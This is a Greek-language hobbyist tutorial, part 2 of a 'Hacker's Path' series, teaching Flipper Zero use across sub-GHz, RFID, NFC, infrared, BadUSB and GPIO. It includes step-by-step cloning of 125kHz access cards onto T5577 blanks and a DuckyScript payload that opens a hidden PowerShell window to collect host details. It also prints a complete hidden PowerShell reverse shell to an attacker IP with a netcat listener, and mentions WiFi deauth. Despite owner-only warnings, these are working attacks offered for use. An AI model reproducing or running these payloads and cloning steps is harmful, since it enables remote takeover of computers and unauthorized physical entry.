The Hacker's Path: Σειρά 5 Μερών
Μέρος 1: Εισαγωγή → Μέρος 2: Κατάκτηση του Flipper → Μέρος 3: Βασικά Kali → Μέρος 4: Εκμετάλλευση → Μέρος 5: Ο Πλήρης Έλεγχος
Στο Μέρος 1, κάνατε τα πρώτα σας βήματα. Κλωνοποιήσατε μερικά τηλεχειριστήρια IR, σαρώσατε κάρτες NFC, παρακολουθήσατε το φάσμα sub-GHz να φωτίζεται και πληκτρολογήσατε "Hello World" με BadUSB. Είδατε ότι η ασφάλεια είναι συχνά μια ψευδαίσθηση.
Τώρα πάμε βαθιά. Στο τέλος αυτού του άρθρου, θα κατανοείτε κάθε σημαντικό πρωτόκολλο με το οποίο μπορεί να αλληλεπιδράσει το Flipper Zero σας, όχι μόνο πώς να τα χρησιμοποιείτε, αλλά γιατί λειτουργούν όπως λειτουργούν και τι σημαίνει αυτό για την ασφάλεια.
Δίκαιη προειδοποίηση: Θα ανακαλύψετε ότι αρκετά πράγματα που υποθέτατε ότι ήταν ασφαλή... δεν είναι.
Η Φιλοσοφία Flipper
Πριν βουτήξουμε στα πρωτόκολλα, ας καθιερώσουμε τη σωστή νοοτροπία. Το Flipper Zero δεν είναι μια "συσκευή hacking" με την έννοια του Hollywood. Είναι ένα εργαλείο μάθησης που σας επιτρέπει να αλληλεπιδράτε με ραδιοσυχνότητες και πρωτόκολλα hardware που κανονικά είναι αόρατα.
Σκεφτείτε το σαν μεγεθυντικό φακό για ασύρματα σήματα. Τα σήματα ήταν πάντα εκεί. Απλά δεν μπορούσατε να τα δείτε. Τώρα μπορείτε.
Αυτή η διάκριση έχει σημασία γιατί αλλάζει τον τρόπο που προσεγγίζετε την ασφάλεια. Η περισσότερη "ασφάλεια" βασίζεται στην αφάνεια, στην υπόθεση ότι οι επιτιθέμενοι δεν θα ξέρουν πώς να αλληλεπιδράσουν με ένα σύστημα. Το Flipper σας αφαιρεί αυτή την αφάνεια. Σας δείχνει ακριβώς τι μεταδίδεται και λαμβάνεται. Και μόλις μπορέσετε να το δείτε, μπορείτε να αξιολογήσετε αν υπάρχει πραγματική ασφάλεια.
Spoiler: Συχνά, δεν υπάρχει.
⚠️ Υπενθύμιση: Μόνο τα Δικά Σας
Όλα σε αυτό το άρθρο είναι για δοκιμή ΤΩΝ ΔΙΚΩΝ ΣΑΣ συσκευών, καρτών και συστημάτων. Οι τεχνικές λειτουργούν στα πράγματα οποιουδήποτε, αυτό είναι το θέμα. Αλλά η χρήση τους σε συστήματα που δεν σας ανήκουν είναι παράνομη. Δοκιμάστε τη δική σας ασφάλεια. Ανακαλύψτε τις δικές σας ευπάθειες. Αυτός είναι ο δρόμος.
Sub-GHz: Το Αόρατο Φάσμα
Οι ραδιοσυχνότητες sub-gigahertz είναι παντού. Η γκαραζόπορτά σας, το κλειδί αυτοκινήτου, ο μετεωρολογικός σταθμός, το ασύρματο κουδούνι, οι αισθητήρες πίεσης ελαστικών, οι συσκευές έξυπνου σπιτιού, όλα μεταδίδουν συνεχώς σε ζώνες συχνοτήτων κάτω από 1 GHz.
Γιατί sub-GHz; Οι χαμηλότερες συχνότητες ταξιδεύουν μακρύτερα και διεισδύουν καλύτερα στους τοίχους από τις υψηλότερες συχνότητες όπως το WiFi (2.4/5 GHz). Αυτό τις κάνει ιδανικές για συσκευές που χρειάζονται αξιόπιστη επικοινωνία σε απόσταση χωρίς απαιτήσεις οπτικής επαφής.
Το Τοπίο Συχνοτήτων
Διαφορετικές περιοχές χρησιμοποιούν διαφορετικές συχνότητες λόγω κανονισμών:
- 315 MHz: Βόρεια Αμερική: παλαιότερες γκαραζόπορτες, κλειδιά αυτοκινήτων
- 390 MHz: Βόρεια Αμερική: γκαραζόπορτες, κάποια αυτοκίνητα
- 433.92 MHz: Παγκοσμίως: μετεωρολογικοί σταθμοί, αισθητήρες, ευρωπαϊκές συσκευές, πολλά προϊόντα IoT
- 868 MHz: Ευρώπη: έξυπνο σπίτι, LoRa, μετρητές κοινής ωφέλειας
- 915 MHz: Αμερική: LoRa, έξυπνο σπίτι, βιομηχανικά
Με firmware Momentum, το Flipper σας μπορεί να εκπέμπει και να λαμβάνει σε όλες αυτές τις ζώνες ανεξάρτητα από τη φυσική σας τοποθεσία.
Έργο: Αναλύστε την Γκαραζόπορτά σας
Χρόνος: 15 λεπτά
Τι θα μάθετε: Η διαφορά μεταξύ στατικών κωδικών και κυλιόμενων κωδικών, και γιατί έχει σημασία
Βήματα:
- Πλοηγηθείτε στο Sub-GHz → Read
- Σταθείτε κοντά στο γκαράζ σας (όχι τόσο κοντά ώστε να ανοίξει η πόρτα)
- Πατήστε το κουμπί του τηλεχειριστηρίου γκαράζ
- Παρακολουθήστε το Flipper να καταγράφει το σήμα
- Εξετάστε τι καταγράφηκε, δείτε το πρωτόκολλο που αναγνωρίστηκε
Τι μπορεί να δείτε:
- Princeton, Linear, Chamberlain (παλιό): Στατικοί κωδικοί. Ο ίδιος κωδικός μεταδίδεται κάθε φορά. Ευάλωτο σε επιθέσεις επανάληψης.
- KeeLoq, Security+ 2.0, Rolling Code: Κυλιόμενοι κωδικοί. Κάθε μετάδοση χρησιμοποιεί διαφορετικό κωδικό από μια συγχρονισμένη ακολουθία. Δεν μπορεί απλά να αναπαραχθεί.
Η πραγματικότητα: Αν η γκαραζόπορτά σας χρησιμοποιεί στατικό κωδικό (πολλές εγκατεστημένες πριν το ~2015), οποιοσδήποτε καταγράψει αυτό το σήμα μία φορά μπορεί να το αναπαράγει για πάντα.
Κυλιόμενοι Κωδικοί Εξηγημένοι
Οι σύγχρονες γκαραζόπορτες και τα κλειδιά αυτοκινήτων χρησιμοποιούν κυλιόμενους κωδικούς. Έτσι λειτουργούν:
- Ο πομπός (το τηλεχειριστήριό σας) και ο δέκτης (το γκαράζ σας) μοιράζονται ένα μυστικό seed και αλγόριθμο
- Κάθε πάτημα κουμπιού δημιουργεί τον επόμενο κωδικό σε μια συγχρονισμένη ακολουθία
- Ο δέκτης αποδέχεται τον τρέχοντα κωδικό Ή οποιονδήποτε από τους επόμενους ~256 κωδικούς
- Μόλις χρησιμοποιηθεί ένας κωδικός, ακυρώνεται για πάντα
Γιατί Αυτό Έχει Σημασία
Οι κυλιόμενοι κωδικοί εφευρέθηκαν επειδή ο κόσμος sub-GHz ανακάλυψε ότι η ασφάλεια μέσω αφάνειας αποτυγχάνει. Κάποιος κατάλαβε πώς να καταγράφει και αναπαράγει σήματα, οπότε η βιομηχανία έπρεπε να εφαρμόσει πραγματική κρυπτογραφική ασφάλεια.
Έργο: Καταγράψτε Δεδομένα Μετεωρολογικού Σταθμού
Χρόνος: 10 λεπτά
Τι θα μάθετε: Πόσα δεδομένα μεταδίδονται χωρίς καμία προστασία
Βήματα:
- Πλοηγηθείτε στο Sub-GHz → Read
- Περιμένετε κοντά σε οποιονδήποτε ασύρματο αισθητήρα καιρού
- Οι περισσότεροι μεταδίδουν κάθε 30-60 δευτερόλεπτα
- Καταγράψτε τη μετάδοση
- Σημειώστε το πρωτόκολλο και τα αποκωδικοποιημένα δεδομένα
Τι θα βρείτε: Θερμοκρασία, υγρασία, κατάσταση μπαταρίας, ID αισθητήρα, όλα μεταδιδόμενα σε καθαρό κείμενο. Χωρίς κρυπτογράφηση, χωρίς πιστοποίηση.
RFID: Ο Κόσμος των 125kHz
Το RFID χαμηλής συχνότητας (125kHz) είναι η παλαιότερη, απλούστερη τεχνολογία καρτών εγγύτητας. Θα τη βρείτε σε κάρτες γυμναστηρίου, παλαιότερες κάρτες πρόσβασης γραφείων, γκαράζ στάθμευσης και συστήματα εισόδου πολυκατοικιών.
Και είναι σχεδόν καθολικά τρομερή για την ασφάλεια.
Πώς Λειτουργεί το RFID 125kHz
Αυτές οι κάρτες είναι παθητικές, δεν έχουν μπαταρία. Όταν κρατάτε μία κοντά σε αναγνώστη, το ηλεκτρομαγνητικό πεδίο του αναγνώστη τροφοδοτεί την κάρτα, και η κάρτα μεταδίδει τον αριθμό ID της. Αυτό είναι όλο. Χωρίς challenge-response. Χωρίς κρυπτογράφηση. Απλά: "Είμαι η κάρτα αριθμός 12345."
Βλέπετε το πρόβλημα.
Κοινοί Τύποι Καρτών 125kHz
- EM4100: Εξαιρετικά κοινή. Απλά μεταδίδει ένα ID 40 bit. Μηδενική ασφάλεια.
- HID Prox: Η πιο κοινή εταιρική κάρτα πρόσβασης. Μεταδίδει κωδικό εγκατάστασης + αριθμό κάρτας. Μηδενική ασφάλεια.
- Indala: Λιγότερο κοινή. Διαφορετική κωδικοποίηση αλλά ίδιο πρόβλημα: χωρίς ασφάλεια.
- AWID: Άλλη παραλλαγή. Ίδια θεμελιώδης αδυναμία.
Έργο: Κλωνοποιήστε την Κάρτα Γυμναστηρίου σας
Χρόνος: 5 λεπτά
Τι χρειάζεστε: Την κάρτα γυμναστηρίου/πισίνας/διαμερίσματος 125kHz, μια κενή κάρτα T5577 ($1-2 η κάθε μία)
Βήματα:
- Πλοηγηθείτε στο 125 kHz RFID → Read
- Κρατήστε την κάρτα σας στο πίσω μέρος του Flipper
- Περιμένετε επιτυχή ανάγνωση
- Αποθηκεύστε την κάρτα με αναγνωρίσιμο όνομα
- Για δοκιμή εξομοίωσης: Saved → Select Card → Emulate
- Κρατήστε το Flipper στον αναγνώστη του γυμναστηρίου σας
Για εγγραφή σε κενή T5577:
- Πηγαίνετε στην αποθηκευμένη κάρτα
- Επιλέξτε Write
- Κρατήστε μια κενή κάρτα T5577 στο Flipper
- Περιμένετε επιβεβαίωση εγγραφής
- Έχετε τώρα ένα φυσικό κλώνο
Γιατί αυτό έχει σημασία: Ολόκληρο το μοντέλο ασφαλείας αυτού του συστήματος ελέγχου πρόσβασης μόλις κατέρρευσε.
Η T5577: Η Μαγική σας Κάρτα
Η T5577 είναι μια επανεγγράψιμη κάρτα RFID που μπορεί να εξομοιώσει τους περισσότερους τύπους καρτών 125kHz. Είναι σαν ένα κενό CD-R για κάρτες πρόσβασης.
Τι Αποκαλύπτει Αυτό
Η "ασφάλεια" RFID 125kHz είναι καθαρό θέατρο. Αυτά τα συστήματα υποθέτουν ότι δεν μπορείτε να διαβάσετε την κάρτα, να αντιγράψετε τα δεδομένα και να τα γράψετε σε άλλη κάρτα. Και οι τρεις υποθέσεις είναι ψευδείς με εξοπλισμό καταναλωτή.
Βασικό Σημείο
Η ασφάλεια RFID 125kHz είναι καθαρό θέατρο. Αυτά τα συστήματα υποθέτουν ότι δεν μπορείτε να διαβάσετε, αντιγράψετε ή ξαναγράψετε δεδομένα καρτών. Και οι τρεις υποθέσεις είναι ψευδείς με εξοπλισμό καταναλωτή κάτω από $200.
NFC: Ο Κόσμος των 13.56MHz
Το NFC υψηλής συχνότητας (13.56 MHz) είναι η νεότερη γενιά. Τροφοδοτεί ανέπαφες πληρωμές, σύγχρονες κάρτες πρόσβασης, συστήματα μεταφορών, κλειδιά ξενοδοχείων και το tap-to-pay του τηλεφώνου σας.
Τα καλά νέα: Μερικές κάρτες NFC έχουν πραγματικά αληθινή ασφάλεια.
Τα κακά νέα: Πολλές δεν έχουν.
Τύποι Καρτών NFC
- MIFARE Classic: Εξαιρετικά κοινή. Χρησιμοποιεί ιδιόκτητη κρυπτογράφηση που σπάστηκε πριν χρόνια. Ευάλωτη.
- MIFARE Ultralight: Απλές κάρτες με ελάχιστη ασφάλεια.
- NTAG: Κοινή σε NFC tags για αυτοματισμό.
- MIFARE DESFire: Πραγματικά ασφαλής. Χρησιμοποιεί κρυπτογράφηση AES.
- EMV (Κάρτες Πληρωμής): Η πιστωτική σας κάρτα. Ισχυρή κρυπτογράφηση, όρια συναλλαγών και ανίχνευση απάτης.
Έργο: Αναλύστε την Κάρτα Εργασίας σας
Χρόνος: 10 λεπτά
Τι θα μάθετε: Αν ο χώρος εργασίας σας έχει πραγματική ασφάλεια ή θέατρο ασφαλείας
Βήματα:
- Πλοηγηθείτε στο NFC → Read
- Κρατήστε την κάρτα εργασίας σας στο πίσω μέρος του Flipper
- Περιμένετε την ολοκλήρωση ανάγνωσης
- Εξετάστε τι σας λέει το Flipper
Κλωνοποίηση UID εναντίον Πλήρους Κλωνοποίησης
Σημαντική διάκριση: Το Flipper μπορεί πάντα να διαβάσει και να εξομοιώσει το UID μιας κάρτας. Μερικά συστήματα πρόσβασης ελέγχουν μόνο το UID. Τα καλύτερα συστήματα ελέγχουν τόσο το UID ΟΣΟ ΚΑΙ τα κρυπτογραφημένα δεδομένα.
Έργο: Ανάλυση Κάρτας Ξενοδοχείου
Χρόνος: 5 λεπτά (την επόμενη φορά σε ξενοδοχείο)
Βήματα:
- Διαβάστε την κάρτα ξενοδοχείου με NFC → Read
- Σημειώστε τον τύπο κάρτας
- Δείτε ποια δεδομένα είναι αναγνώσιμα
Μαγικές Κάρτες για NFC
- Gen1 (UID Αλλάξιμο): Μπορεί να γράψει προσαρμοσμένο UID.
- Gen2 (CUID): Καλύτερη συμβατότητα.
- Gen3 (UFUID): Μπορεί να κλειδώσει το UID μετά την εγγραφή.
- Gen4 (Ultimate Magic): Η πιο ευέλικτη.
Υπέρυθρο: Πλήρης Έλεγχος
Δημιουργήσατε ήδη τηλεχειριστήρια IR στο Μέρος 1. Πάμε βαθύτερα.
Χτίζοντας την Απόλυτη Βιβλιοθήκη Τηλεχειριστηρίων
Το firmware Momentum περιλαμβάνει IRDB, μια τεράστια βάση δεδομένων προ-καταγεγραμμένων τηλεχειριστηρίων.
Έργο: Χτίστε το IR Οπλοστάσιό σας
Χρόνος: 20 λεπτά
Βήματα:
- Στο Flipper: Infrared → Universal Remotes
- Θα βρείτε προ-κατασκευασμένα καθολικά τηλεχειριστήρια
- Δοκιμάστε τα στις συσκευές σας
- Για μη καλυπτόμενες συσκευές, χρησιμοποιήστε Learn New Remote
- Οργανώστε ανά δωμάτιο ή τύπο συσκευής
Ακατέργαστη Καταγραφή IR
Πλοηγηθείτε στο Infrared → Learn New → Raw όταν η τυπική μάθηση δεν αναγνωρίζει ένα σήμα.
BadUSB: Η Εναλλακτική του Rubber Ducky
BadUSB εκμεταλλεύεται ένα θεμελιώδες ελάττωμα στον τρόπο που οι υπολογιστές χειρίζονται συσκευές USB: εμπιστεύονται τα πληκτρολόγια σιωπηρά.
Το Flipper σας μπορεί να πληκτρολογήσει περίπου 1.000 χαρακτήρες ανά δευτερόλεπτο. Ταχύτερο από οποιονδήποτε άνθρωπο.
Βασικά DuckyScript
REM This is a comment
DELAY 1000
STRING Hello World
ENTER
GUI r
ALT F4
CTRL c
TAB
DOWNARROW
ESCAPEΈργο: Συλλέκτης Πληροφοριών Συστήματος
Χρόνος: 15 λεπτά
REM System Info Grabber - Run on YOUR machine only
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $info = @{
ENTER
STRING Hostname = $env:COMPUTERNAME
ENTER
STRING Username = $env:USERNAME
ENTER
STRING Domain = $env:USERDOMAIN
ENTER
STRING IP = (Get-NetIPAddress -AddressFamily IPv4).IPAddress
ENTER
STRING OS = (Get-WmiObject Win32_OperatingSystem).Caption
ENTER
STRING }
ENTER
STRING $info | ConvertTo-Json | Out-File "$env:USERPROFILE\Desktop\sysinfo.json"
ENTER
STRING exit
ENTERΈργο: Εγκατάσταση Reverse Shell
Χρόνος: 30 λεπτά
Στο Kali - Εκκίνηση listener:
nc -lvnp 4444
BadUSB Payload (στόχος Windows):
REM Reverse Shell - Replace KALI_IP with your Kali's IP
DELAY 1000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('KALI_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
ENTER⚠️ Αυτά τα Payloads Είναι Αληθινά
Χρησιμοποιήστε τα ΜΟΝΟ σε μηχανήματα που σας ανήκουν. Η εκτέλεσή τους σε μηχάνημα κάποιου άλλου είναι ομοσπονδιακό έγκλημα.
Διασκεδαστικά Payloads για Επιδείξεις
REM Rick Roll - Opens YouTube
DELAY 1000
GUI r
DELAY 500
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
ENTERREM Fake Windows Update - Fullscreen prank page
DELAY 1000
GUI r
DELAY 500
STRING https://fakeupdate.net/win10ue/
ENTER
DELAY 2000
F11REM Flip Screen Upside Down (Windows)
DELAY 1000
CTRL ALT DOWNARROWGPIO: Επέκταση Hardware
Απαραίτητα Modules
- WiFi Dev Board: Προσθέτει δυνατότητες WiFi. Απαραίτητο από το Μέρος 3.
- Εξωτερική Κεραία CC1101: Επεκτείνει δραματικά την εμβέλεια Sub-GHz.
- ESP32 Marauder: Μετατρέπει το Flipper σε πλατφόρμα hacking WiFi/Bluetooth.
- ProtoBoard: Για προσαρμοσμένα έργα.
Έργο: Εγκατάσταση WiFi Dev Board
Χρόνος: 20 λεπτά
Βήματα:
- Flash firmware Marauder σε ESP32
- Σύνδεση στα GPIO pins του Flipper
- Πλοηγηθείτε στο GPIO → ESP32 → Marauder
- Έχετε τώρα WiFi scanning, deauth και packet capture
Προχωρημένα Χαρακτηριστικά Momentum
- Κινούμενα Σχέδια Επιφάνειας: Καθαρά αισθητικά, αλλά διασκεδαστικά.
- Εκτεταμένα Πρωτόκολλα: Επιπλέον πρωτόκολλα.
- Hub Εφαρμογών: Παιχνίδια, εργαλεία, εξειδικευμένα βοηθητικά.
- Προσαρμοσμένα Πακέτα Assets: Αλλάξτε ολόκληρη την εμφάνιση.
Τι Έχετε Κατακτήσει
Τώρα καταλαβαίνετε:
- Sub-GHz: Πώς επικοινωνούν γκαραζόπορτες, κλειδιά αυτοκινήτων και αισθητήρες
- RFID 125kHz: Γιατί οι κάρτες γυμναστηρίου και τα παλιά badges πρόσβασης κλωνοποιούνται τετριμμένα
- NFC 13.56MHz: Η διαφορά μεταξύ σπασμένης κρυπτογράφησης (MIFARE Classic) και πραγματικής ασφάλειας (DESFire)
- Υπέρυθρο: Πώς να χτίσετε βιβλιοθήκη καθολικών τηλεχειριστηρίων
- BadUSB: Γιατί η εμπιστοσύνη USB HID είναι θεμελιώδης ευπάθεια
- GPIO: Πώς να επεκταθείτε σε WiFi και προσαρμοσμένο hardware
Το Flipper σας είναι τώρα ένα όπλο. Αλλά είναι κατσαβίδι σε σύγκριση με το Kali Linux, που είναι ολόκληρο εργαστήριο. Ώρα να ξεκινήσετε το πραγματικό περιβάλλον hacking.
The Hacker's Path
Σειρά 5 μερών που σας πάει από περίεργο σε ικανό.
Μέρος 1: Εισαγωγή Μέρος 2: Κατάκτηση Flipper ✓ Μέρος 3: Βασικά Kali Μέρος 4: Εκμετάλλευση Μέρος 5: Πλήρης Έλεγχος
Λίστα Ελέγχου Μέρους 2
☐ Sub-GHz: Γκαραζόπορτα αναλυμένη, κυλιόμενοι vs στατικοί κωδικοί κατανοημένοι
☐ RFID 125kHz: Κάρτες αναγνωσμένες, τουλάχιστον ένας κλώνος δοκιμασμένος
☐ NFC: Κάρτα εργασίας αναλυμένη, τύπος κάρτας αναγνωρισμένος
☐ Υπέρυθρο: Πλήρης βιβλιοθήκη τηλεχειριστηρίων σπιτιού
☐ BadUSB: Payload πληροφοριών συστήματος δοκιμασμένο, reverse shell κατανοημένο
☐ GPIO: WiFi dev board έτοιμο για Μέρος 3
☐ Μαγικές Κάρτες: T5577 και/ή NFC μαγικές κάρτες αποκτημένες
Τι Ακολουθεί
Στο Μέρος 3, αφήνουμε τις εστιασμένες δυνατότητες του Flipper και μπαίνουμε στο πλήρες περιβάλλον penetration testing: Kali Linux.
Θα μάθετε:
- Εγκατάσταση εργαστηρίου hacking (VM εγκατάσταση και ρύθμιση)
- Αναγνώριση δικτύου με nmap
- Ασύρματη αναγνώριση: καταγραφή WiFi handshakes με aircrack-ng
- Web αναγνώριση: ανακάλυψη τι εκθέτει ο router σας
- Σύνδεση καταγραφών Flipper με ροές εργασίας Kali
Τα λέμε στο Μέρος 3.